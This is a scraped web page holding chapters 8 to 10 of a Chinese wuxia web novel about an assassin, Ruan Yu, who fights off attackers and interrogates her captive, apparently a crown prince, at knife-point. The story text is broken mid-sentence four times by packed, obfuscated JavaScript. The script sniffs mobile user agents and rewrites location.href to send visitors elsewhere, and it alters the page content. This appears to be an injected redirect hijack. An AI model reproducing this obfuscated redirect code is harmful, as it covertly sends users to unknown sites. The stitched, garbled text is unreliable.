l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375439|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面的树上,根本不会多加留意。 喀嚓声之后,村里不知哪家的狗被惊到,拔声狂吠起来。 紧接着,此起彼伏的犬吠声吵嚷成一片,在寂静的夜色中显得格外喧闹。 李清平也被惊醒,摸索着坐起身来。阮玉则迅速提剑下地,将窗户推开一条窄缝,向外望去。 冷风从窗缝灌入,只见昏暗的院子里,有个身影越过墙头,径直闯进了旁边那间屋中。 心下一惊,阮玉赶忙翻窗出去,追着那人唤道:“住手!” 可才走出没几步,背后便有凌厉的掌风骤然袭来。 情势危急,阮玉只能放弃去救三丫娘,侧身避开背后那人的攻击,拔剑接下他紧随其后的劈砍。 那人使大刀,劈下来时用了十足十的力气。刀剑相击的瞬间,阮玉只觉手腕一麻,掌心的伤口再次裂开,痛意刺骨。 她果断从衣摆上割下一条布,将自己的手与剑柄紧紧地绑在了一起。 才刚绑好,那人便又举刀朝她劈了过来。 夜里无风,云层将月光遮去大半,四下里昏暗一片,什么都看不清楚,阮玉只能凭着感觉再接下他一招。 心里惦记着三丫娘和三丫,她不想恋战。这一回合后她主动出击,趁着那人闪身躲避的时机,转头进屋去救人。 然而屋里那人已经提剑走了出来,同时,还有一串凌乱的脚步声从院子另一侧包抄了过来。 阮玉顾不得多想,一面躲开背后那人的追砍,一面提剑朝屋中出来的那人刺去。 很显然,对方知道她是谁,但不知道她失了内力。即便阮玉的剑招并没有多大伤害,对方还是迅速躲开了。 这一躲给了阮玉喘息的机会。她折腰从背后那人刀下穿过,趁其转身之际挑掉了他手里的刀,又顺手在他腿弯处一抹。 男人尖声惨叫,踉跄着跌跪在地,恰巧挡住了他同伙朝阮玉刺来的剑。 嗤啦一声脆响,浓重的血腥味在黑暗中弥漫开。 发现误杀了自己人,那同伙低低咒骂一声,反手拔出剑,再度朝阮玉刺来。 阮玉顾不得理会他,先从腰间摸出一把淬过毒的暗器,向着包抄她的其他喽啰们抛去。 几声人体倒地的闷响后,方才那阵凌乱的脚步声消失了。 四下里犬吠不断,不远处已经燃起了火光,周围开关门的吱呀声伴着满是抱怨的吵嚷声,逐渐朝小院靠近了过来。 见惊动了村子里的人,那个误杀同伙的男子动作一顿,吹响竹哨后收剑跃上墙头,头也不回地离开了。 院里的其他喽啰们也应声隐入暗处,纷纷消失在夜色中。 ……直到确认他们彻底离开,又见邻居提着灯出现在小院门口,阮玉才腿一软,拄着剑跪倒在地。 方才抛暗器时,她被那吹哨的男人刺了一剑,虽说不致命,却也伤得不轻。 剧痛翻涌上来,恐惧与无助后知后觉地席卷了神志,阮玉昏昏沉沉,听不清周围人说话,也看不清是谁在拉扯她,只觉手脚发凉,呼吸凌乱,心口闷痛不已。 她想去看看三丫和三丫娘是不是还活着,想去看看李清平还在不在…… 可眼前一黑,她晕了过去。 8. 猜测 再醒来时,入目一片温暖的橘黄。 眼睛很酸,头很晕,睁眼时额角突突直跳,像被针刺一般尖锐的疼。 阮玉忍了忍,又放空自己缓和了片刻,才将目光逐渐聚焦在旁边的青年脸上。 他跽坐在地,安静伏于床榻一侧,双目紧闭,眉头轻蹙,睡得正沉。 床榻旁的小几上放了盏油灯,火光微微晃动,给屋中的一切镀上了一层朦胧的暖色,泛着些许微苦的焦味。 原以为自己受伤昏迷,李清平会趁机逃走,抑或报官抓她。却不想,他竟留了下来。 阮玉一时诧异。 她愣愣看了李清平一会,艰难地抽出埋在被子里的胳膊,覆上了他搭在床沿边的手。 李清平没醒。 他没醒,阮玉也不好专门将他唤醒,于是松开他的手,撑着床想要起身。 可她刚收回手,李清平手指一颤,睁眼看了过来。 二人四目相对,各自愣怔片刻。 还是阮玉先反应过来,开口问道:“……我睡了多久?” 已经很久没有说话,她的嗓音沙哑难听,令她自己都皱了一下眉头。 李清平闻言犹豫,随后动了动唇,无声道:“四日。” 阮玉重复一遍:“四日?” 李清平点头。 “……这么久?” 李清平抿紧了唇,又点头。 阮玉的头疼得更厉害了。她闭上眼缓了缓,才接着问道:“你为何不走?” 话音落下,屋中沉寂了许久。随后有人拉过她的手,在她的手心写道:“你要喝水吗?” “我不喝,你为何不走?” “那你饿吗?” “……” 阮玉睁眼向他看去,正对上他平静的目光。 她摇头:“我不吃。所以你为何不走?” 李清平沉默,缓缓松开了她的手。 二人这般对峙了半晌,还是李清平先服了软。 他重新握住阮玉的指尖,在她手心写道:“无处可去。” “怎会无处可去?去官府报官,让他们送你回京……你连报官都不会吗?” “不要。” “为何不要?” 捏着她指尖的手缓缓松开,床边一阵窸窸窣窣后,有脚步声离开了。 阮玉睁眼看去,正见李清平站在桌边,拎起水壶往杯中倒水。 片刻后,他带着水杯回来,双手递到阮玉面前。 见他这副模样,阮玉也懒得再问,撑着床起身,接过水一饮而尽,开口道:“还要。” 李清平什么也没说,转身又倒来一杯,站在床边看着她喝完。 阮玉将杯子递给他,问道:“三丫娘呢?三丫呢?” 李清平本已打算离开,闻言又向她看来。 二人相互对视片刻,李清平拿杯子的手收紧了些,好一会才摇摇头。 阮玉一愣,追问:“死了?” 李清平摇头。 “受伤了?” 李清平点头。 阮玉松了口气,费力地挪动双腿,翻身下地:“我去看看她们。” 可她伤势未愈,刚踩在地上走了两步,就扯到了伤口。 撕裂的痛楚在一瞬间顺着经脉席卷全身,阮玉尚未来得及反应,便一个趔趄向前倒去。 似是对这般情形早有预料,李清平上前一步,稳稳地接住了她。 阮玉眼前发黑,攀着他的手臂忍耐好半晌,仍觉得四肢麻木,背后的伤口一抽一抽地疼。 见她脸色发白,好半日没有动静,李清平扒开她紧攥自己衣袖的手,将她扶回床上,而后转身往外走。 走了几步,他又折返回来,拉过阮玉的手写道:“请医师。” 阮玉方才被疼出一身冷汗,神志也有些不太清明,这会伏回床榻间,才稍稍好转了些。 她看了看自己手心,又盯着他的脸看了看,摇摇头:“不必,村里只有一家医馆,让他去治三丫母女便好。” 作为入行多年的刺客,每到一地,阮玉都会先探清当地的医馆与官署所在。因此那日一进村,她便留意到了医馆前高高挂起的青幡。 平日里见惯了生死,阮玉其实并不在意三丫母女的死活。只要不是她亲自动手,那她们经历什么,都是她们的命,不关她的事。 可阮玉知道,师兄会在意,师兄会看着她。 即便是装,她也要装出一副怜悯关怀她们的模样来。 而李清平似是不明白,蹙着眉沉默了良久,才点点头。 他又在阮玉手心写:“想吃什么?” 阮玉想了想,实在拿不准他的厨艺如何,于是答道:“白粥,加一点盐。” 李清平又点点头,写道:“等我。” 作为绑匪与人质,阮玉总觉得他们二人当下的相处方式有些不太对劲,可背上的伤太疼,她没有多余的精力思考,便随他去了。 等李清平离开,阮玉强撑了一会,最后半伏在枕上沉沉睡去。 睡了不知多久,有只微凉的手抚上她的额头,停留片刻后收走。 阮玉迷迷糊糊地睁眼,见李清平坐在床榻边,一手端着碗,一手正从她额间拿开。 似是没想到阮玉会突然醒来,他愣怔一瞬,才将那碗往前递了递。 递过来发现阮玉行动不便,他又将手收回,自己拿起汤匙在碗中搅了搅,舀了半勺轻吹几下,送到阮玉唇边。 阮玉看了看那勺粥,又看了看他,摇头道:“你先喝一口。” 李清平眸光微微一颤,抿了抿唇,似是想说什么,可又没说。 他将汤匙转回自己唇边,面不改色地将其送入口中,喉结滑动,咽了下去。 咽完,他将碗放下,拿着汤匙起身,似是想去换一个回来。 阮玉唤住了他:“不必换了,就用这个。” 李清平脚步一顿,回头看她。 阮玉坦诚道:“有人会下毒在汤匙中,我用你用过的便好。” 其实没有这个必要,毕竟李清平想杀她,过去四日里有的是机会。 阮玉只是不明白他为何如此待她,所以有意找茬。 找茬他便会生气,生气便会露马脚。 ……虽然事情的走向与阮玉想的不太一样。 对于她的戒备,李清平没有一丁点生气的迹象。他点点头重新坐下,端起碗舀了粥,一勺勺喂给她。 屋中静谧,勺子偶尔磕在碗沿上,声响清脆。 一碗白粥见底,阮玉推开李清平的手摇摇头,示意自己不吃了。 李清平递给她一块手帕,起身到桌边放碗。 阮玉用手帕胡乱在嘴边擦了擦,问他:“那群人没有再来过吗?” 李清平侧对着她站在桌边倒水,摇头。 阮玉又问:“那母女二人伤得重吗?有人照顾她们吗?” 连着两个问题,李清平迟疑一瞬,先摇头,又点头。 “谁?不能也是你吧?” 这次,李清平带着水坐回到榻边,用口型无声道:“不是。” “……那就好。” 这句话说出来怪怪的,阮玉想了想,转移了话题:“你有受伤吗?” 李清平道:“没有。” “没受伤最好,”阮玉接过他递来的水喝了几口,随后又道,“明日休息一日,后日出发。” 李清平点头,带着剩下的半杯水到桌边坐下,安安静静地捧着杯子出神。 阮玉的视线不自觉地落在他身上,好一会后,才收回目光,闭上眼睛。 自打从问云寺中将李清平劫走后,她便时常觉得李清平有些怪异。 ……若仔细说,倒也算不得怪异,就是……过于顺从。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375440|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 即便是师兄,也不会这么顺从于阮玉。他会给阮玉立一堆规矩,动不动就对她一通说教。若是阮玉做了错事,还会被骂个狗血淋头。 虽说李清平与师兄比不得,可他总归是一国太子,如此沉默乖顺,实在令阮玉费解。 有时候她甚至怀疑,自己是不是绑错了人。 或许她绑走的不是太子,那日来与她交易的人也不是太子身边的人。一切都只是一个专门设计她,意图让她神不知鬼不觉消失的圈套……从师兄给她下毒开始。 他们先强迫师兄给她下毒,好在她没有内力时趁机对她下手。 可他们派来的人发现阮玉没有动静,而师兄死在了雪地里,所以他们以为师兄没有接受胁迫,便又打算以重金利诱阮玉离开问云山,在途中借旁人之手除掉她。 而李清平,就是对方安排在阮玉身边的眼线。 因此阮玉才会在毫不知情的情形下暴露行踪,引来仇敌追杀。 也因此,李清平才会在明明有机会逃走的情形下,依旧选择留在她身边。 ……可若真是如此,他又为何不在阮玉昏迷的这几日里杀了她呢? 越想头越疼,阮玉感觉自己脑子里像是插了把刀子,稍微一动,就扯着脑子和脸一起疼。 她长长吁出一口气,放弃思考,强迫自己睡了过去。 …… 次日睡了整整一日,后日晨间,阮玉已经能自己下地了。 她去看了看三丫和三丫娘,才知道三丫并未受伤,而三丫娘右臂被刺了一剑。 难怪那日她说要医师先治这对母女时,李清平会露出那样欲言又止的神色。 阮玉又给三丫娘留下十两银票,客气地道了句歉,学着从说书人那听来的台词道:“若下回再遇见那厮,我定将其千……” 想到千刀万剐费时费力,她改口道:“我定以牙还牙,为娘子出这口恶气。” 三丫坐在床边,两只脚在空中晃来晃去,歪着头懵懵地看着阮玉。 三丫娘强撑着摆手:“无妨无妨,区区小伤,过不了几日便能好,姑娘不必放在心上,更不必以身涉险。” 阮玉坚持道:“不行,便是为了我自己,我也定不会放过他。娘子只管安心。” 正说话间,一个十三四岁的少年提着个食盒进门,从阮玉身边路过,招呼道:“饭!” 见阮玉转头看那少年,三丫娘顺口介绍:“阿山,隔壁赵大哥的儿子……那夜最先来咱院里的人,便是赵大哥。” 阮玉了然,点点头:“我记得。” 听她这么说,那少年向她看了过来。他上下打量了阮玉一番,边忙活边问道:“那夜的人是你杀的?” 阮玉嗯了声,下意识地瞟了眼他的手。 那少年停下手上的动作,更仔细地打量了阮玉一番,接着问道:“你是大侠吗?” “……大侠?” “对,混迹江湖,行侠仗义的那种。” 混迹江湖没有问题,可行侠仗义四个字,阮玉实在不能硬着头皮乱认。 于是她摇头:“不是,只是稍稍会些表面功夫。” “啊?” 少年顺手将三丫抱上板凳,不解道:“可那夜死了六个人,若非村正极力担保你受那几人迫害,走投无路才下死手,你都要蹲大狱了……竟还说只是表面功夫?” “……确实是表面功夫。” 见阮玉这么说,少年也没再坚持。他自己搬了凳子坐下,转而道:“那你能将你的表面功夫教给我吗?我也想学。” 阮玉看他一眼,没有理会,打算离开。 可那少年唤住了她:“等等……我知道一个秘密,是我亲眼所见,和他有关……你要是教我武功,我就告诉你那秘密是什么。” 少年说着,抬手一指,正点到院里阳光下,倚在低矮院墙边出神的李清平。 9. 逼问 阮玉自然不会受人威胁。她依旧没有理会那少年,转身出了屋子。 听见脚步声,李清平抬眸向她看来。 冬日正午,日光清亮,他整个人笼在光里,脸庞白皙,眉目周正,一身炭灰粗布衣袍也被衬得贵气了几分。 只是那张脸上的神色,依旧平静又冷淡。 阮玉接住他的目光,扬起下颌往正屋示意了一下,而后回到了屋中。 李清平会意,站直身子,随着阮玉进了屋。 可他才跨过门槛,便被一股大力攥住衣襟,拖着往前几步,按倒在桌上。 后腰磕在桌沿边,疼得他缩了下身子,却没有发出一点声响。 阮玉提膝抵在他腿间,一手掐着他的脖颈,一手用刀抵住他心口,问道:“上回那伙人,是你的同谋吗?” 很显然,这般突如其来的质问使李清平有些发懵。他那双黑亮的桃花眼蒙上了淡淡的雾气,喉结滑动,嘴唇颤了颤,良久才无声道:“不是。” “不是你,那你告诉我,为何他们能提前知晓我的行踪?” 李清平的手攀在桌沿上,骨节捏得泛白。他看着阮玉,摇头。 “不知道?” 李清平没有出声,只沉默着看着她的眼睛。 阮玉将刀尖往下压,认真道:“我知道你不怕死,我也不会杀你。可这世上多得是令人生不如死的法子。我可以挖掉你的眼睛,撕了你的脸,敲碎你的骨头……你若不信,尽管试试。” 看着李清平的脸色逐渐一片惨白,颈间的线条绷得死紧,阮玉眯了眯眼,将刀尖悬在他右眼上,接着道:“说,你是李清平吗?” 李清平短暂地看了看那锋利的刀尖,又看向阮玉,胸口的起伏加重了几分。 他抿紧了唇,眼尾泛起薄红,身体也僵硬起来。 可他还是没出声。 看他仍不肯开口,阮玉也不客气,手起刀落,刀刃擦着他的颧骨划过,深深地锲进了桌面中。 李清平倏地缩紧了身子,下意识闭眼,却没有躲。 铛的一声后,他颧骨上多了条浅红色的刀口。 眨眼的功夫,血已经从那条浅红的线上一颗颗冒了出来。细碎饱满的血珠逐渐连成一片,顺着脸颊滑落,滴进耳廓的凹陷处,聚成小小的一滩红。 阮玉愣住。 ……原本只要李清平稍稍偏一下脸,她的刀便会落空。 偏偏他没有躲。 阮玉迟钝了好半晌,缓缓松开掐在他颈间的手,退后一步。 李清平还是没有动。他仰面躺在桌上,肩头微微耸动,抠紧桌沿的手指上已经不见血色,瘦削的下颌随着呼吸一次次收紧。 好半晌,他才似缓过神一般挣扎着爬起,扶着桌子干呕起来。 第一次遇到这种情形,阮玉一时有些无措。她茫然地呆站了一会,左右看看,最后从桌上拿了杯子,倒水递到他面前。 李清平颤着手推开,摸索着在木凳上坐下,低下头咬紧了唇,用衣袖擦了把脸上的血。 实在没有什么安慰人的经验,阮玉看了看自己手里的杯子,默默将其放回桌上,轻咳一声道:“好了,是我错怪你。路上我不绑你就是……你先缓缓,我煮粥给你喝。” 说完,她上前拔走桌上的刀,便打算离开。 可与李清平错身而过时,他抓住了她的手腕。 阮玉脚步一顿,回头看向他。 李清平不语,将她的手翻过来,抹开她微蜷的手指,在她掌心写:“为何疑我?” 许是惊惧未定,他的指尖仍在颤抖,呼吸也有些凌乱。 写完这几个字,他仍没有松开阮玉的手,只仰头看着她的眼睛,固执地等着她回答。 阮玉想了想,也不多做遮掩,坦诚道:“你的言行举止与我的预料过于悬殊。近来又频频无故遇刺,我总不能疑我自己。” 李清平的手指不似平日一般温热,冷得像冰。他又写道:“为何悬殊?我该如何?” 阮玉摩挲着手里的刀柄,避开他的目光,老实道:“我不知道你该如何,可我知道你不该如何……你不该在我受伤昏迷时留下,不该在我对你没有防备时什么都不做,也不该如这几日一般照顾我。” 这么说着,阮玉又有了些底气,重新迎上李清平的目光:“你很不对劲。你不对劲,我怀疑你,此乃人之常情,无可厚非。你不要用这种眼神看我。” 李清平皱眉,低头在她手心写:“我……” 写了一个我后,他的手指顿住,好一会没动。 最后他松开她的手,抹去脸颊上的血,别过了脸去,一副不会再理她的模样。 阮玉茫然,默默看了眼自己的手,问他:“你还在生气吗?” 没有回应。 阮玉放弃与他交流,将刀收回袖中,重新道:“那你想吃什么,我做给你吃?” 从前阮玉与师兄生气时,师兄便是这么哄她的。 可李清平只是轻飘飘地瞥了她一眼,又转了回去。 阮玉抠了抠手指,点头:“也是,你想吃的东西,我未必买得到……那你要喝粥吗?我只会做这个。” 李清平没理她。 见他不理自己,阮玉实在没有办法,也没了耐心,草草道:“那我去煮粥,你等着我。” 说完也不等李清平回应,她便快步出了门。 刚跨过门槛,她又下意识地回头往屋中看了一眼,正对上李清平朝她看来的目光。 他的眼眶有些泛红,眼中水色很重,唇抿成一条线,右颊边还有没擦干净的血污。 屋中昏暗,他整个人却是清晰的,与四下里陈旧简朴的陈设格格不入。 二人对视一眼,阮玉先移开视线,转头进了灶房。 …… 原已经做好了被李清平拒绝,甚至被泼一脸粥的准备,然而没有。 李清平很给面子地接了她递来的台阶,皱着眉将那碗米糊一样的粥喝了个干净。 末了他将碗放在桌上,拉过她的手,在她手心写:“难喝。” 阮玉赧然,解释道:“我从前只做过一次,那次有师兄教我……过去太久,我给忘了。” 李清平眨了一下眼睛,无声道:“师兄?” 阮玉点点头:“就是你我离开时,你看见的那位……” 想起师兄已经死了,用那位有些不合适,她又改口道:“那块碑。” 虽然师兄是块碑听起来很怪异,可李清平并未在意。他看着阮玉的眼睛,又无声道:“他因何而死?” 横竖李清平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375441|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不认识师兄,没什么好隐瞒的,阮玉便如实答道:“自尽。他用我的剑抹了脖子。” 李清平怔了怔,而后问道:“你不伤心吗?” 这几个字很容易辨认,阮玉点点头:“伤心。可是伤心没有用。我便是哭死在他坟前,他也活不过来了。” 李清平沉吟片刻,拉过她的手,写道:“你也不对劲。” “我这个不叫不对劲,”阮玉抽走自己的手,站起身道,“我这个是豁达。” 李清平看向她,无声道:“我便不能豁达吗?” 阮玉没看懂,只能重新将手递给他,问道:“什么?” 他没再重复,默默推开阮玉的手,拿起桌上的空碗出了门。 阮玉独自被留在原处,好一会儿,才低头看向自己的手。 不知怎么,她莫名觉得掌心发痒。 紧握着拳任指甲嵌入肉里,那阵痒意才稍有缓解。 …… 原打算午后便出发的,可阮玉惦记着赵家那少年口中的秘密,于是将计划推迟了一日。 趁着赵山出门打醋的时候,阮玉将他堵在了半道上。 她说:“你不是想学武功吗?我答应你。” 阮玉到底是杀过人的人,赵山还是怕她的。冷不丁被她拦下,他整个人往后退了一大步,满脸戒备地看着她。 听阮玉说愿意教自己武功,赵山才松了口气。 但他还是不太信任阮玉,捏着手里的铜钱道:“若我说了那个秘密,你又反悔,我该如何?” 阮玉背着手看他,从容道:“我若真要耍赖,大可以将刀架在你脖子上,逼你说出那个秘密。信与不信随你。” 似是没有想到阮玉会如此坦诚,赵山黝黑的脸上流露出一丝诧异。 诧异之后,他又皱起了眉头,瞧着很为难的模样。 心里感念那夜赵家大哥及时现身相救,阮玉不想对赵山下狠手,可又没耐心等他松口,于是向他承诺道:“我可以写一份手书,保证我言出必行。若我食言,你便拿那手书给旁人看,届时自会有公道之人为你做主。” 赵山看向阮玉,显然心动了:“……可以吗?” 阮玉颔首:“可以。日落前来我屋里拿便是。” “……不行。” 一听说去她屋中,赵山又起了戒心:“我不去……我害怕。” “那便在院中。” 这回赵山答应了下来:“好。一言为定。” 二人说定,阮玉也不再废话,直接去村正家中,向其借了纸笔,依方才的约定写了份手书。 临了她与村正寒暄几句,就那日为她开脱之事感谢了村正一番,而后便回了住处。 回去没一会,赵山跟了过来。 阮玉将那手书递给他,看着他将手书颠来倒去地检查,双手抱臂道:“放心,我言而有信,从不打诳语。” 赵山狐疑地瞅她一眼,又瞧瞧那纸上一个都不认得的字,沉默片刻,将其叠起,塞在了腰间。 阮玉看着他的动作,目光在他藏手书的地方停留一瞬,又移开。 她开口道:“说吧,什么秘密。” 说完顿了顿,她又道:“折腾我这么久,若你敢骗我,抑或那秘密无关紧要……我定会剁了你的手。” 10. 摇铃唤我 重新出发上路时,村正亲自前来相送,给阮玉车上塞了大包吃食。 横竖自己出了大价钱,阮玉也没有推辞,坦然地接受了下来。 她向赵山的爹买了一只铃铛,塞给李清平,嘱咐他:“若有不适,便摇铃唤我。” 李清平握着那只铃铛,缓慢地点了点头。而赵山站在他爹旁边,双手抄在衣袖里,眼睛滴溜溜地在阮玉和李清平之间打转。 应原先的承诺,阮玉没再绑着李清平,毕竟她已经探过,他没有内力。 依照李清平的能耐,便是阮玉让他十招,他也不能将阮玉如何。 重新出发后,阮玉没再走小道,规规矩矩地走官道。 官道上人多些,即便是再遇刺或是受伤,也能及时得到救治。 出发的前几日,一切安好。李清平很少会唤阮玉做什么,大多时候,他都安安静静坐在车厢里,少数时候,他会出来与她一起驾车。 说是一起驾车,不如说是一起发呆。 李清平总是一副心事重重的模样,抱膝坐在车前,目光落在道路旁不停后退的枯树上。 偶尔他也会直接倚在车厢门上睡着,阮玉余光里瞥见他的身子往下滑,下意识将他拉回来时,他才茫然地睁眼,而后无声地向阮玉道谢。 ……自打离开问云山后,二人已经相处了半月有余。阮玉连蒙带猜,不需要费多大力气,便能读懂他的唇语。 只有他突然提起之前没有说过的话题时,才需要写给阮玉看。 开始时还是写在阮玉手上,后来阮玉给他买了纸,又丢给他一支在火里烤过的木棍,让他自己在纸上写。 有了纸,李清平的话多了起来。他时常会写一大段字给阮玉看,或者画些鸡零狗碎的小东西,聊以解闷。 李清平的字如他本人一般,清秀端正。他的画也大多简单轻巧,寥寥几笔便形神具备。 阮玉不吝夸赞:“好厉害……从前我师父教我作画,我死活学不会。” 李清平难得地笑起来,眉眼都染上了几分温润的暖意。他拉过阮玉的手,在她手心写:“各有所长。” “话虽如此,可瞧见师兄师姐们学得得心应手,自己却学不会时,还是很失落的。” 一说起这个,难免想到已经过世多年的师父,阮玉蔫了下来。 她抽回手,抠着手里的缰绳,又道:“前几日我还梦到过师父。师父问我近来功夫可有长进,日子过得可好,可有心烦之事……我却答不上来。” 说完她转向李清平,问他:“我这么将你带走,你会想家吗?也会梦到你的家人吗?” 许是没有想到阮玉会问起自己的事,李清平迎上她的目光时,脸上的笑意一点点褪去,神色微微诧异。 他垂眸想了想,摇头。 如此反应,属实出乎阮玉意料。她追问:“为何?你应与我不同……你与家人会更亲厚些吧。” 李清平还是摇头。 阮玉托腮看他,猜测道:“是因为皇室子嗣多,天子又忙于政务,因而鲜少与你亲近吗?” 李清平抬眸望向她,点头。 “那你母……” 话说一半,忽地记起有人说过,太子的亲生母亲只是个小小宫人,早早便过世了,阮玉赶紧打住了话头。 可李清平已经看出了她的心思。他捻起那根木棍,在纸上写:“我不记得。” 阮玉点点头,没再多问。 …… 不知为何,那夜的刺客好几日都没有出现。 阮玉已经做了十足的准备,心里一直期望再与那群人交手一番。他们不来,她反而有些失望。 毕竟当夜被刺了一剑,若是不刺回去,实在吃亏。 此事想得太多,甚至成了阮玉的心病。她连日做梦,梦里都在与那个黑衣人过招。 也或许阮玉的怨念太重,离开村子后的第六日,他们宿在野外时,那群人又来了。 阮玉原本蜷缩在车厢座位上,怀里抱着剑,身上裹着李清平的披风,枕着一边手臂,睡得正香。 虽说没了内力五感退化,可她到底警惕,还是早早听见了风里的脚步声。 出于本能,阮玉的脑子还没来得及反应,身体便先一步弹坐了起来。她踢了踢睡在地上的李清平,出声提醒:“醒醒,有人。” 时常被阮玉从梦里唤醒,李清平已经习惯了。他闭着眼睛起身,蜷在角落里待着,尽力降低自己的存在感。 阮玉则提着剑钻出车厢,就势滚到了车底。 她才一藏好,不远处就出现了几个黑色的影子。 此处是在山林中,夜色浓重,风很大,月光时隐时现,即便冬日的树木没有叶子,也依旧枝干交缠,错综复杂。 如此情形,对内力深厚之人而言,进可攻其不备,退可隐身匿行,实为天然优势。 可对阮玉而言不是。 环境糟乱,意味着她要花更多心思在判断敌人位置上,要更留意对方偷袭,当心对方的埋伏与陷阱。 但她并不慌张。 默默抓出一把暗器夹在指缝间,阮玉按着剑,等那群人上前。 只是有了上回的经验,对方也不再鲁莽。他们停在离马车一丈远的地方,似乎在等待动手的命令。 ……依照阮玉的经验,这种时候绝不能多等,先机便是生机,晚对方一步,便只能做瓮中之鳖。 全然出于下意识地判断,她在来人停下脚步时果断出手,向前方抛出暗器,随之从车后撤出,去解决从后面包抄过来的刺客。 此举显然在这群人的预料之外。走在最前面的二人尚未来得及抬剑抵挡,便捂着脖子扑倒在地。 对面中了暗器的人更是连一声闷哼都未发出,便没了生息。 其余人只见面前黑影一晃,接着便传来几声重物砸地的闷响,血腥味在风中弥散开。 待他们再回过神,那黑影已经不见了。 月色昏暗,四下风声呜咽,草木摇晃,影影绰绰,什么都看不清晰。 察觉不对,领头的男人立刻吹响竹哨,示意撤退。 然而哨声刚起,便倏然拔高,变得尖锐刺耳,随后又重重地跌落了下来。 与哨声一起跌落的,还有吹哨的男人。 他尚不知阮玉身在何处,便见眼前寒光一闪,有什么东西从黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375442|200079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中飞出,拽着他的手将他狠狠拖倒在地。 持有竹哨的右手似有千斤重,怎么也抬不动。男人摔得发懵,好半晌眼前花白,耳畔嗡鸣,挣扎不得。 等他稍稍缓过神,艰难回头看去时,才见自己的右手被一柄短刀贯穿,钉在了地里。 四下寒风肆虐,剧痛后知后觉地涌起,瞬间传遍了四肢百骸。 心口抽痛,后背似有千万只毒虫在皮肉里爬动穿行,啃噬着脊柱,麻意直窜头顶,激得他浑身都抽搐起来。 男人被痛楚扼着咽喉,喘不上气,只能睁大了眼睛,拼命地张口呼吸。 可带着腥味的冷风直往嗓子里灌,呛得他直干哕,呼吸愈发不畅,额间闷胀。 正惶然惊悚间,视野中出现了一角墨色衣摆,一只裹着白布的手握住刀柄,将刀拔出。 有人在他头顶啧了声,似有些不满般抱怨道:“怎么来得这样迟?叫我好等……近来梦里总是记挂着你,睡都睡不好。” 想说话,可喉管连着舌头都痉挛着颤抖,什么都说不出来。 云层散开,冰冷的月光短暂照亮了悬在头顶的剑。 男人仰倒在地上,眼睁睁看着那剑上倒映出自己狰狞惊恐的脸,哆嗦着动不了。 见他不语,方才的声音又问道:“你是何人?为何一路跟着我?” 等了一会还是不见他回答,那声音接着问道:“上次客栈中那几人,是你的同伙吗?你的消息也来自日月楼吗?” “……” 眼瞧着男人一声不吭,对方似乎失了耐心,叹了口气:“罢了,你可还有什么话要说?我这人心善,惯来会给刀下亡魂一次开口的机会……” “我等你十息,十息之内不说话,我便动手了。” 男人哪里还说得出话来。他顺着那剑看向执剑之人,只见其身着寻常劲装,长发高束,面容清秀,颊边梨涡浅浅,全然一副纯真小姑娘的模样。 只看那张脸,他甚至会觉得,只要自己服个软,说几句好话,便还有侥幸活下去的机会。 可惜阮玉恶名在外,此刻的剑尖寒意又过于迫人,他清楚说什么都是徒劳。 漫长的等待后,湿润的暖意从心口漫开,雨滴一般洒落满脸,意识消失前最后看见的,是一袭清瘦挺直的背影。 …… 带着一身血腥味回到马车上,缩在车厢角落的人抬眸看了阮玉一眼,忽地转头干呕起来。 阮玉见怪不怪,从腰间抽出一块帕子递给他:“呐。” 李清平按着前胸接过,捂在口鼻上,清冽的药香涌入鼻腔,盖过了车厢里浓重的血味。 他咳嗽几声,看了看阮玉的手,安静下来。 阮玉席地坐下,吹亮火折子点灯,而后将灯挂起,安安静静地低头擦剑。 外面风声依旧喧嚣,车厢内一片静谧。 过了很久,余光中忽地出现了一只指节瘦长的手。 阮玉顺着那手看去,正对上李清平向她投来的目光。 犹豫一瞬,阮玉将自己的手递了过去。 李清平放下捂鼻的帕子,缓慢坐直了身子,在她手心写:“杀人是什么感觉?”